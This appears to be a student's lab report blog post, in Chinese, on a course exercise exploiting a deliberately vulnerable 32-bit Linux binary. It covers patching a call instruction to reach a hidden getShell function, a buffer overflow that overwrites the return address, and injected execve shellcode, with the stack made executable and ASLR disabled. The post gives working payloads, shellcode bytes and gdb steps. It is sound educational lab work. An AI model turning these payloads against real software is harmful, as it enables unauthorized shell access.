20252820 2024-2025-2 《网络攻防实践》实践九报告

20252820 2024-2025-2 《网络攻防实践》实践九报告


1. 实践内容

本次实践围绕一个存在缓冲区溢出漏洞的 Linux 可执行文件展开。该程序的正常执行流程是由 main 函数调用 foo 函数,foo 函数负责读取并回显用户输入;程序中还包含一个不会被正常调用的 getShell 函数,该函数可以返回一个可用的 Shell。本次实验的目标是通过修改程序执行流程、构造缓冲区溢出 payload,以及注入自定义 Shellcode 三种方式,使程序执行原本不会被调用的代码片段,进一步理解二进制程序漏洞利用的基本流程。

实践包括以下三个部分:

  1. 手工修改可执行文件中的机器指令,改变程序原本的控制流,使其直接跳转到 getShell 函数;
  2. 利用 foo 函数中存在的缓冲区溢出漏洞,构造攻击输入字符串,覆盖函数返回地址,从而触发 getShell 函数;
  3. 在输入数据中注入自制 Shellcode,通过覆盖返回地址使程序跳转到 Shellcode 所在位置执行,最终获得 Shell。

2. 实践过程

2.1 修改主机名与文件名

sudo hostnamectl set-hostname chenjiaxu

host_file_name


2.2 任务一:手工修改可执行文件,改变程序执行流程

2.2.1 反汇编目标程序

进入目标程序所在目录,使用 objdump 查看程序反汇编结果:

cd ~/Desktop
objdump -d pwn1_20252820 | more

反编译

2.2.2 分析程序控制流

程序执行流程为:

main → foo → 返回 main

通过手工修改机器指令,使程序流程变为:

main → getShell

使 main 中原本调用 foo 的位置跳转到 getShell,从而绕过正常逻辑,直接执行隐藏函数。

观察 main 函数中的 call 指令,以及该指令对应的机器码。call 指令通常采用相对偏移方式寻址,因此修改时不是写入函数绝对地址,而是修改对应的偏移字节。

main
getshell_foo

2.2.3 使用 vim 十六进制方式修改程序

打开目标程序:

vi pwn1_20252820

vi

进入 vim 后,将文件转换为十六进制显示:

:%!xxd

乱码
change_encode

根据反汇编结果定位需要修改的机器码位置,将原本跳转或调用 foo 的偏移量修改为跳转到 getShell 的偏移量。

e8_d7ff_ffff
d7_c3

修改完成后,将十六进制内容还原为二进制格式:

:%!xxd -r
:wq

注意:必须执行 :%!xxd -r 后再保存,否则会把十六进制文本直接保存进可执行文件,导致程序损坏。

2.2.4 验证修改效果

反汇编程序,检查 main 中的调用位置是否已经被修改:

objdump -d pwn1_20252820 | more

反编译2
call_getshell

运行程序直接获得 Shell:

./pwn1_20252820

run_shell


2.3 任务二:利用 foo 函数 BOF 漏洞覆盖返回地址触发 getShell

2.3.1 还原或重新准备原始程序

任务二需要在原始漏洞程序基础上完成,重新复制一份未修改的文件:

mv pwn1 pwn2_20252820

rename2

2.3.2 反汇编查看 getShell 地址与 foo 函数栈帧结构与偏移量

使用 objdump 查看 getShell 的地址:

objdump -d pwn2_20252820

foo

2.3.3 构造覆盖返回地址的 payload

根据偏移量和 getShell 地址构造 payload。偏移量为 32 字节,getShell 地址为 0x0804847d,所以:

perl -e 'print "cccchhhheeeennnnjjjjiiiiaaaaxxuu\x7d\x84\x04\x08"' > input_20252820

input

查看 payload 内容:

xxd input_20252820

查看input

2.3.4 运行 payload 并获取 Shell

使用管道将 payload 输入漏洞程序,并用第二个 cat 保持后续交互:

(cat input_20252820; cat) | ./pwn2_20252820

缓冲区溢出攻击成功


2.4 任务三:注入自制 Shellcode 并运行

2.4.1 安装和配置 execstack

Shellcode 注入实验需要让程序栈区可执行。如果系统没有安装 execstack,可以先下载并安装:

wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

wget
dpkg

设置目标程序栈可执行:

execstack -s pwn2_20252820
execstack -q pwn2_20252820

exec

2.4.2 关闭地址随机化

查看地址随机化状态:

more /proc/sys/kernel/randomize_va_space

关闭地址随机化:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

再次查看,若结果为 0,说明 ASLR 已关闭:

more /proc/sys/kernel/randomize_va_space

关闭地址随机化

2.4.3 构造初始 Shellcode 测试文件

使用 Perl 生成初始 payload 文件,其中包含 NOP、Shellcode 和占位返回地址:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x04\x03\x02\x01\x00"' > shellcode_20252820

shellcode_input

2.4.4 运行初始 payload 并定位进程

在终端 1 中运行程序并输入初始 payload:

(cat shellcode_20252820; cat) | ./pwn2_20252820

attack

保持终端 1 不关闭。另开终端 2,查找目标程序进程号:

ps -ef | grep pwn2_20252820

another_terminal

2.4.5 使用 gdb 附加进程并定位 ret 指令

在终端 3 中启动 gdb 并附加到目标进程:

gdb pwn2_20252820
attach 10201

gdb_pwn2

查看 foo 函数反汇编:

disassemble foo

找到 ret 指令地址,并在该地址处设置断点。例如:

break *0x080484ae

after_gdb

2.4.6 计算 Shellcode 实际地址

在终端 1 中按回车,使程序继续读取输入;回到 gdb 终端,继续运行到断点:

c

查看栈顶指针:

info r esp

查看栈内存内容:

x/16x 0xffc8bf6c

after_gdb2

shellcode 地址 = esp + 4

根据本机结果计算。

esp = 0xffc8bf6c
shellcode 地址 = 0xffc8bf6c + 4 = 0xffc8bf70

Shellcode 地址为 0xffc8bf70,则小端序写法为:

\x70\xbf\xc8\xff

2.4.7 重新构造最终 Shellcode payload

根据计算出的 Shellcode 地址,替换原来占位的 0x010203040x04030201。偏移量为 32 字节,Shellcode 地址为 0xffc8bf70,所以:

perl -e 'print "A" x 32; print "\x70\xbf\xc8\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode

2.4.8 运行最终 payload 获取 Shell

执行:

(cat input_shellcode; cat) | ./pwn2_20252820

success


3. 学习中遇到的问题及解决

  • 问题1:运行目标程序时提示 Permission denied,无法直接执行。
    解决方案:因为二进制文件没有执行权限,可使用 chmod +x pwn20252820 为文件添加执行权限,然后重新运行程序。

  • 问题2:使用 sudo 命令时提示 unable to resolve host chenjiaxu
    解决方案:这是修改主机名后 /etc/hosts 中没有同步添加主机名映射导致的。可以编辑 /etc/hosts 文件,加入 127.0.1.1 chenjiaxu,保存后重新打开终端即可。

  • 问题3:使用 wget 下载工具时出现 Temporary failure in name resolution 以及 Network is unreachable
    解决方案:前者为 DNS 解析异常,后者是由于虚拟机未获取 IPv4 地址。先使用 ip aip route 检查网络状态,确认网卡是否获取到 192.168.x.x 等 IPv4 地址;检查 VMware/VirtualBox 网络适配器是否启用 NAT,尝试重新连接网卡。

  • 问题4:安装 gdb 时出现 404 Not Found,提示无法下载部分依赖包。
    解决方案:这是由于 Kali 本地 apt 软件包索引过旧,与远程仓库版本不一致导致的。先执行 sudo apt clean 清理缓存,再检查 /etc/apt/sources.list 是否为 Kali rolling 官方源,随后执行 sudo apt update,最后重新安装 gdb


4. 实践总结

通过本次实践,我对 Linux 32 位程序中的缓冲区溢出漏洞利用流程有了更直观的理解。实验一通过手工修改机器码改变程序控制流,使我认识到可执行文件中的指令本质上是由机器码组成的,只要准确定位并修改关键字节,就可以改变程序的执行路径。实验二通过构造 payload 覆盖返回地址,使我进一步理解了栈帧结构、局部缓冲区、ebpesp 和函数返回地址之间的关系,也掌握了通过小端序写入地址的方法。实验三则在前两个实验基础上进一步完成了 Shellcode 注入,使我理解了 NOP 滑行区、Shellcode 地址定位、栈可执行设置和地址随机化关闭等关键条件。

本次实验也说明,缓冲区溢出利用对细节要求非常高。填充长度少一个字节或多一个字节、地址小端序写错、ASLR 未关闭、栈不可执行,都会导致程序段错误而无法成功获取 Shell。因此,在后续学习中,应继续加强对汇编指令、内存布局和 gdb 调试方法的掌握,同时也要从防御角度理解为什么现代系统需要 Canary、NX、PIE、ASLR 等安全机制来降低此类漏洞的危害。


posted @ 2026-05-15 09:46  cheadmaster  阅读(14)  评论(0)    收藏  举报